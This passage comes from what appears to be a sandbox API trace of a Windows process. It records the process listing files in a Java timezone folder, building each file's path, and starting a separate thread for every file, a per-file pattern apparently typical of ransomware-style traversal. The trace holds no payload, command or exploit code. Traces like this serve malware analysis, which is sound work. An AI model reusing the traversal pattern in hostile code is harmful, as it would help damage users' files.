_Source="Moscow" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Europe\\Moscow") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Europe\\Moscow" [0158.330] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1b865960, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xb90 [0158.331] FindNextFileW (in: hFindFile=0x1cd9dd90, lpFindFileData=0x1cd600b0 | out: lpFindFileData=0x1cd600b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7465fe40, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x7465fe40, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x7465fe40, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x4c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Oslo", cAlternateFileName="")) returned 1 [0158.331] wcscmp (_String1="Oslo", _String2=".") returned 1 [0158.331] wcscmp (_String1="Oslo", _String2="..") returned 1 [0158.331] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x68) returned 0x1b7c1c60 [0158.331] wcscpy (in: _Dest=0x1b7c1c60, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Europe" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Europe") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Europe" [0158.331] wcscat (in: _Dest=0x1b7c1c60, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Europe\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Europe\\" [0158.331] wcscat (in: _Dest=0x1b7c1c60, _Source="Oslo" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Europe\\Oslo") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Europe\\Oslo" [0158.332] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1b7c1c60, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xb94 [0158.332] FindNextFileW (in: hFindFile=0x1cd9dd90, lpFindFileData=0x1cd600b0 | out: lpFindFileData=0x1cd600b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7465fe40, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x7465fe40, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x7465fe40, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x620, dwReserved0=0x0, dwReserved1=0x0, cFileName="Paris", cAlternateFileName="")) returned 1 [0158.332] wcscmp (_String1="Paris", _String2=".") returned 1 [0158.332] wcscmp (_String1="Paris", _String2="..") returned 1 [0158.332] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x6a) returned 0x1b8659e0 [0158.333] wcscpy (in: _Dest=0x1b8659e0, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Europe" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Europe") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Europe" [0158.333] wcscat (in: _Dest=0x1b8659e0, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Europe\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Europe\\" [0158.333] wcscat (in: _Dest=0x1b8659e0, _Source="Paris" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Europe\\Paris") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Europe\\Paris" [0158.333] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1b8659e0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xb98 [0158.333] FindNextFileW (in: hFindFile=0x1cd9dd90, lpFindFileData=0x1cd600b0 | out: lpFindFileData=0x1cd600b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7465fe40, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x7465fe40, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x7465fe40, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x4c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Prague", cAlternateFileName="")) returned 1 [0158.333] wcscmp (_String1="Prague", _String2=".") returned 1 [0158.334] wcscmp (_String1="Prague", _String2="..") returned 1 [0158.334] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x6c) returned 0x1b865a60 [0158.334] wcscpy (in: _Dest=0x1b865a60, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Europe" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Europe") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Europe" [0158.334] wcscat (in: _Dest=0x1b865a60, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Europe\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Europe\\" [0158.334] wcscat (in: _Dest=0x1b865a60, _Source="Prague" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Europe\\Prague") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Europe\\Prague" [0158.334] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1b865a60, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xb9c [0158.334] FindNextFileW (in: hFindFile=0x1cd9dd90, lpFindFileData=0x1cd600b0 | out: lpFindFileData=0x1cd600b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7465fe40, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x7465fe40, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x7465fe40, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x454, dwReserved0=0x0, dwReserved1=0x0, cFileName="Riga", cAlternateFileName="")) returned 1 [0158.334] wcscmp (_String1="Riga", _String2=".") returned 1 [0158.334] wcscmp (_String1="Riga", _String2="..") returned 1 [0158.334] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x68) returned 0x1b7c1fe0 [0158.335] wcscpy (in: _Dest=0x1b7c1fe0, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Europe" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Europe") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Europe" [0158.335] wcscat (in: _Dest=0x1b7c1fe0, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Europe\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Europe\\" [0158.335] wcscat (in: _Dest=0x1b7c1fe0, _Source="Riga" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Europe\\Riga") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Europe\\Riga" [0158.335] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1b7c1fe0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xba4 [0158.335] FindNextFileW (in: hFindFile=0x1cd9dd90, lpFindFileData=0x1cd600b0 | out: lpFindFileData=0x1cd600b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7465fe40, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x7465fe40, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x7465fe40, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x5a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Rome", cAlternateFileName="")) returned 1 [0158.335] wcscmp (_String1="Rome", _String2=".") returned 1 [0158.335] wcscmp (_String1="Rome", _String2="..") returned 1 [0158.335] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x68) returned 0x1b86e480 [0158.336] wcscpy (in: _Dest=0x1b86e480, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Europe" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Europe") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Europe" [0158.336] wcscat (in: _Dest=0x1b86e480, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Europe\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Europe\\" [0158.336] wcscat (in: _Dest=0x1b86e480, _Source="Rome" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Europe\\Rome") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Europe\\Rome" [0158.336] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1b86e480, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xba8 [0158.336] FindNextFileW (in: hFindFile=0x1cd9dd90, lpFindFileData=0x1cd600b0 | out: lpFindFileData=0x1cd600b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7465fe40, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x7465fe40, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x7465fe40, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x245, dwReserved0=0x0, dwReserved1=0x0, cFileName="Samara", cAlternateFileName="")) returned 1 [0158.336] wcscmp (_String1="Samara", _String2=".") returned 1 [0158.337] wcscmp (_String1="Samara", _String2="..") returned 1 [0158.337] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x6c) returned 0x1b865ae0 [0158.337] wcscpy (in: _Dest=0x1b865ae0, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Europe" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Europe") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Europe" [0158.337] wcscat (in: _Dest=0x1b865ae0, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Europe\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Europe\\" [0158.337] wcscat (in: _Dest=0x1b865ae0, _Source="Samara" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Europe\\Samara") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Europe\\Samara" [0158.337] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1b865ae0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xbac [0158.338] FindNextFileW (in: hFindFile=0x1cd9dd90, lpFindFileData=0x1cd600b0 | out: lpFindFileData=0x1cd600b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x74685fa0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x74685fa0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x74685fa0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x428, dwReserved0=0x0, dwReserved1=0x0, cFileName="Simferopol", cAlternateFileName="SIMFER~1")) returned 1 [0158.338] wcscmp (_String1="Simferopol", _String2=".") returned 1 [0158.338] wcscmp (_String1="Simferopol", _String2="..") returned 1 [0158.338] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x74) returned 0x1b865b60 [0158.338] wcscpy (in: _Dest=0x1b865b60, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Europe" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Europe") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Europe" [0158.338] wcscat (in: _Dest=0x1b865b60, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Europe\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Europe\\" [0158.338] wcscat (in: _Dest=0x1b865b60, _Source="Simferopol" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Europe\\Simferopol") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Europe\\Simferopol" [0158.338] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1b865b60, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xbb0 [0158.344] FindNextFileW (in: hFindFile=0x1cd9dd90, lpFindFileData=0x1cd600b0 | out: lpFindFileData=0x1cd600b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x74685fa0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x74685fa0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x74685fa0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x440, dwReserved0=0x0, dwReserved1=0x0, cFileName="Sofia", cAlternateFileName="")) returned 1 [0158.344] wcscmp (_String1="Sofia", _String2=".") returned 1 [0158.344] wcscmp (_String1="Sofia", _String2="..") returned 1 [0158.344] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x6a) returned 0x1b865be0 [0158.345] wcscpy (in: _Dest=0x1b865be0, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Europe" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Europe") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Europe" [0158.345] wcscat (in: _Dest=0x1b865be0, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Europe\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Europe\\" [0158.345] wcscat (in: _Dest=0x1b865be0, _Source="Sofia" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Europe\\Sofia") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Europe\\Sofia" [0158.345] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1b865be0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x874 [0158.345] FindNextFileW (in: hFindFile=0x1cd9dd90, lpFindFileData=0x1cd600b0 | out: lpFindFileData=0x1cd600b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x74685fa0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x74685fa0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x74685fa0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x410, dwReserved0=0x0, dwReserved1=0x0, cFileName="Stockholm", cAlternateFileName="STOCKH~1")) returned 1 [0158.345] wcscmp (_String1="Stockholm", _String2=".") returned 1 [0158.345] wcscmp (_String1="Stockholm", _String2="..") returned 1 [0158.346] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x72) returned 0x1b865c60 [0158.346] wcscpy (in: _Dest=0x1b865c60, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Europe" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Europe") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Europe" [0158.346] wcscat (in: _Dest=0x1b865c60, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Europe\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Europe\\" [0158.346] wcscat (in: _Dest=0x1b865c60, _Source="Stockholm" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Europe\\Stockholm") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Europe\\Stockholm" [0158.346] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1b865c60, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xbc0 [0158.347] FindNextFileW (in: hFindFile=0x1cd9dd90, lpFindFileData=0x1cd600b0 | out: lpFindFileData=0x1cd600b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x74685fa0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x74685fa0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x74685fa0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x438, dwReserved0=0x0, dwReserved1=0x0, cFileName="Tallinn", cAlternateFileName="")) returned 1 [0158.347] wcscmp (_String1="Tallinn", _String2=".") returned 1 [0158.347] wcscmp (_String1="Tallinn", _String2="..") returned 1 [0158.347] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x6e) returned 0x426ee500 [0158.347] wcscpy (in: _Dest=0x426ee500, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Europe" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Europe") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Europe" [0158.347] wcscat (in: _Dest=0x426ee500, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Europe\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Europe\\" [0158.347] wcscat (in: _Dest=0x426ee500, _Source="Tallinn" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Europe\\Tallinn") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Europe\\Tallinn" [0158.347] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x426ee500, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xbd4 [0158.348] FindNextFileW (in: hFindFile=0x1cd9dd90, lpFindFileData=0x1cd600b0 | out: lpFindFileData=0x1cd600b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x74685fa0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x74685fa0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x74685fa0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x48c, dwReserved0=0x0, dwReserved1=0x0, cFileName="Tirane", cAlternateFileName="")) returned 1 [0158.348] wcscmp (_String1="Tirane", _String2=".") returned 1 [0158.348] wcscmp (_String1="Tirane", _String2="..") returned 1 [0158.348] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x6c) returned 0x426ee580 [0158.348] wcscpy (in: _Dest=0x426ee580, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Europe" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Europe") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Europe" [0158.348] wcscat (in: _Dest=0x426ee580, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Europe\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Europe\\" [0158.348] wcscat (in: _Dest=0x426ee580, _Source="Tirane" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Europe\\Tirane") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Europe\\Tirane" [0158.348] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x426ee580, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xbd8 [0158.349] FindNextFileW (in: hFindFile=0x1cd9dd90, lpFindFileData=0x1cd600b0 | out: lpFindFileData=0x1cd600b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x74685fa0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x74685fa0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x74685fa0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x41c, dwReserved0=0x0, dwReserved1=0x0, cFileName="Uzhgorod", cAlternateFileName="")) returned 1 [0158.349] wcscmp (_String1="Uzhgorod", _String2=".") returned 1 [0158.349] wcscmp (_String1="Uzhgorod", _String2="..") returned 1 [0158.349] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x426ee600 [0158.349] wcscpy (in: _Dest=0x426ee600, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Europe" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Europe") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Europe" [0158.349] wcscat (in: _Dest=0x426ee600, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Europe\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Europe\\" [0158.349] wcscat (in: _Dest=0x426ee600, _Source="Uzhgorod" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Europe\\Uzhgorod") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Europe\\Uzhgorod" [0158.350] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x426ee600, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xbe0 [0158.350] FindNextFileW (in: hFindFile=0x1cd9dd90, lpFindFileData=0x1cd600b0 | out: lpFindFileData=0x1cd600b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x74685fa0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x74685fa0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x74685fa0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x3f0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Vaduz", cAlternateFileName="")) returned 1 [0158.350] wcscmp (_String1="Vaduz", _String2=".") returned 1 [0158.350] wcscmp (_String1="Vaduz", _String2="..") returned 1 [0158.350] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x6a) returned 0x426ee680 [0158.350] wcscpy (in: _Dest=0x426ee680, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Europe" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Europe") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Europe" [0158.350] wcscat (in: _Dest=0x426ee680, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Europe\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Europe\\" [0158.351] wcscat (in: _Dest=0x426ee680, _Source="Vaduz" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Europe\\Vaduz") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Europe\\Vaduz" [0158.351] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x426ee680, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xbe8 [0158.351] FindNextFileW (in: hFindFile=0x1cd9dd90, lpFindFileData=0x1cd600b0 | out: lpFindFileData=0x1cd600b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x74685fa0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x74685fa0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x74685fa0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x4b0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Vienna", cAlternateFileName="")) returned 1 [0158.351] wcscmp (_String1="Vienna", _String2=".") returned 1 [0158.351] wcscmp (_String1="Vienna", _String2="..") returned 1 [0158.351] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x6c) returned 0x426ee700 [0158.351] wcscpy (in: _Dest=0x426ee700, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Europe" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Europe") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Europe" [0158.352] wcscat (in: _Dest=0x426ee700, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Europe\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Europe\\" [0158.352] wcscat (in: _Dest=0x426ee700, _Source="Vienna" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Europe\\Vienna") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Europe\\Vienna" [0158.352] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x426ee700, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xbec [0158.352] FindNextFileW (in: hFindFile=0x1cd9dd90, lpFindFileData=0x1cd600b0 | out: lpFindFileData=0x1cd600b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x74685fa0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x74685fa0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x74685fa0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x424, dwReserved0=0x0, dwReserved1=0x0, cFileName="Vilnius", cAlternateFileName="")) returned 1 [0158.353] wcscmp (_String1="Vilnius", _String2=".") returned 1 [0158.353] wcscmp (_String1="Vilnius", _String2="..") returned 1 [0158.353] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x6e) returned 0x426ee780 [0158.353] wcscpy (in: _Dest=0x426ee780, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Europe" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Europe") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Europe" [0158.353] wcscat (in: _Dest=0x426ee780, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Europe\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Europe\\" [0158.353] wcscat (in: _Dest=0x426ee780, _Source="Vilnius" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Europe\\Vilnius") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Europe\\Vilnius" [0158.353] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x426ee780, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xbf4 [0158.354] FindNextFileW (in: hFindFile=0x1cd9dd90, lpFindFileData=0x1cd600b0 | out: lpFindFileData=0x1cd600b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x74685fa0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x74685fa0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x74685fa0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x235, dwReserved0=0x0, dwReserved1=0x0, cFileName="Volgograd", cAlternateFileName="VOLGOG~1")) returned 1 [0158.354] wcscmp (_String1="Volgograd", _String2=".") returned 1 [0158.354] wcscmp (_String1="Volgograd", _String2="..") returned 1 [0158.354] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x72) returned 0x426ee800 [0158.354] wcscpy (in: _Dest=0x426ee800, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Europe" | out: _Dest="C:\\Program Files 